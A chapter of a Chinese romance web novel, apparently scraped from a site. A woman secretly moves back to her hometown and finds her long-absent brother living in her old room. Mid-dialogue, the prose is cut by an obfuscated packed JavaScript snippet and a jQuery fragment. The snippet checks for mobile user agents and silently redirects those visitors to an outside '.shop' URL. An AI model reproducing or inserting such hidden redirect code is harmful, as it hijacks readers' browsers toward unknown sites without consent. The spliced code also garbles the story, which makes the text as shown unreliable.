八月末，江城的暑气还没有散。
烈日炎炎，某老小区的黄桷树底下站了个身材纤瘦的长发女人，她仰着脑袋盯着对面的灰色矮楼看了将近十分钟，不上楼，也不往别处走。
程槐清在看三楼右侧，唯一没封的那个阳台。
阳台围栏上种了许多吊兰，长势喜人，茂盛的枝叶几乎要垂到二楼。
红漆铁门关着，蓝玻璃窗户倒是开了条缝，缝里有一角扯出来的白色纱帘，正迎风摇晃。
那是她的家。
至于为什么站楼下不回家，理由连程槐清自己都觉得好笑——她是背着她妈许女士，偷偷跑回来的。
许女士一直强烈反对她回江城，认为只有在京市这样的大城市，程槐清才能发展得更好。可她身体不好，常年一个人独居，程槐清放心不下，还是辞了工作，悄悄跑回来了。
先斩后奏，许女士要是再有什么意见也没办法了。
“你是，以前林家那个姑娘？”
旁边传来一道略粗哑的女声，程槐清转过头，看见不远处站着位手里提着菜的中年女人，长得很眼熟，但想不起是谁。
见她一脸茫然，女人便开始自我介绍：“我啊，王婶，以前在前面开小卖部的。”
程槐清模模糊糊想起来个人影，点头笑道：“王婶好。”
王婶瞥了眼她旁边的行李箱，“咦”了一声，低声问：“你怎么回来了，你妈不是说你在京市工作了吗？”
都是周围的邻居，以后抬头不见低头见的，程槐清也没想瞒她，老实回答：“辞了。”
“你这姑娘，”王婶恨铁不成钢地咂了下嘴巴，语气带一点责备：“能留在京市，还回江城这小地方做什么。”
好歹也在这里住了几年，程槐清知道这群老街坊邻居惯爱乱传闲话，随便胡诌了个理由，“那边……压力大。”
“也是，大城市压力大啊，”王婶长叹了口气，看表情感受颇深：“我有个……”
眼看这个话题即将有拓展的趋势，程槐清连忙告辞，拖着行李箱逃进了自家楼洞。
房子是九十年代建的老房子，原本是市医院的家属楼，老是老点但物业有专人打理，五年前医院搬迁，物业没了，这里就一团乱了。
不过程槐清都是听许敏虹说的，那段时间她不在江城。
今年社区找来了新物业，听许敏虹说比之前情况好多了。
眼前的楼道昏暗积灰，堆积的杂物挡住了窗口，空气里弥漫着潮湿的霉味，两侧的墙上贴满牛皮藓一样的广告，贴的印的，新的旧的，一层叠一层，密密麻麻……仿佛是栋无人居住的危楼。
看情况，也没有好多少。
不过这种老房子，但凡有点钱能搬走的都搬走了，还住这的，要不是没钱搬，要不就是外地打工在这租房的。
程槐清家属于前者。
她拎着行李箱一口气爬上三楼，停在一扇绿色的防盗门前，刚抬起手想敲门，顿了一下，还是找钥匙开门。
她不想还没进屋就先给许女士一个惊喜。
推开门，屋里静悄悄的，门口还摆着双已经穿毁色的塑料拖鞋，许女士好像不在家。
程槐清推着行李走进屋。
屋里的陈设和她离开时没什么变化，只是屋里光线好了，屋里也干净，桌子地板都亮得反光。
窗户没关，许女士不会走太远，多半只是买菜。
没有一回家就撞上，程槐清松了口气。
关上门，她把行李箱往墙边一推，懒得打开鞋柜，直接穿趿拉着门口那双拖鞋去卫生间洗了把脸。
镜子里的她堪称狼狈，早上扎的低马尾松了，没化妆，肤色黯淡，眼里全是血丝，下面两个黑眼圈明晃晃的挂着。
早上5点就起来赶路，本来想在动车上补觉，结果被有个乘客带的小孩吵了一路，她一秒都没能休息，现在恨不得倒地板上就睡。
冷水洗完脸，意识清醒了不少，程槐清打着哈欠走回自己房间。
她的房间许敏虹每月都打理，平时用塑料布盖着，就是为了她随时回家都能用，比如现在。
程槐清习惯性地拧门把手进屋，却一下都没能拧动，又用力拧几下，竟然还是拧不动。
门从里面锁了。
锁芯坏了？还是…许女士在家？
想到后面那种可能，程槐清的心咯噔一下。
“谁？”
房间里传来个男人的声音。
程槐清顿时僵住，不是因为家里忽然冒出个男人。
是她认出了这个声音。
但是，怎么可能呢？
她大脑一片空白，耳旁猛地炸起尖锐爆鸣，像是突然遇险，身体在本能发出警告。
“谁啊？”男人又问。
程槐清精神恍惚地松开手，后退一步，下意识想逃，门锁却在这时候“咔哒”一声开了。
阳光倾泻而出，男人高大的影子“呼”地整个罩住了她。她像小偷被抓包，傻愣愣地看着开门的人。
四目相对，她看见那人也是一梗，眼神定住了，半天没有动作。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913168|213212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你怎么在这？”是许润先开的口。
不知道是因为刚睡醒，他嗓音闷闷的，有些沙哑。
看到许润的脸，刚才还想逃的心立刻就烟消云散了。
程槐清的脚像生了根，直愣愣地看着男人。
十年没见，有什么变化吗？
依旧是好看的一张脸，不过黑了点，壮了点，眉眼锋利了点，眼神沧桑了点。这些年大概吃了不少苦，气质都沉稳好多。
她的目光太赤裸，许润被看得不自在地轻咳一声，打断了她的思绪。
程槐清垂下眼，耳鸣缓和了不少，大脑也开始重启。
“我不能回来吗？”她仍盯着他，回答着之前的问题。
“不是。”许润深吸一口气，别开眼，看向门口的行李箱，“妈说你……”
“我还没告诉她。”她打断他。
“哦。”许润盯着行李箱静了两秒，扯扯嘴唇，好像想笑却笑不出来，只好转身走回床边背对她，假装整理被子。
“这次回来待几天？”他问。
程槐清抱着手站在门口，没说话，一双眼睛死死地定在他身上，眼珠都没动一下。
许润穿的白色棉质睡裤和背心，很居家的一套。
背心贴身，勾勒出他精窄的腰线和肩背起伏的线条。
后背露出的皮肤上有许多正面看不到的伤口，都是些愈合了的旧伤，疤痕颜色有深有浅，有长有短，有宽有窄，杂乱交错，数不清到底有多少。
程槐清静静看着，兜里的手攥得关节发白。
静了一会。
她主动说：“我辞职了。”
发出的声音干得不像话，只好清了清嗓子，继续说：“以后就留在江城了。”
许润正好走到床的另一头，弯腰的动作一滞，抬头看她。
“怎么了？”程槐清问。
许润跟她对视了一秒，迅速移开眼睛，很勉强地笑了笑：“你想好了就行。”
“哥呢？”程槐清紧盯着他，像怕他跑了一样，“为什么回来？”
周围的空气好像凝固了，四周都静了下来，白色被子上温和的阳光突然变得很刺眼。
许润的笑容僵住，抿抿嘴唇，垂眼没说话。
程槐清也不说，她看着他，脸上什么表情都没有，目光却近乎逼视着他。
“哥，这次回来能待多久？”
“回来了，还会走吗？”
光影斑驳的午后，蝉声悠长，“嘶嘶嘶”像撕裂时空的某种声音。
又是一年苦夏。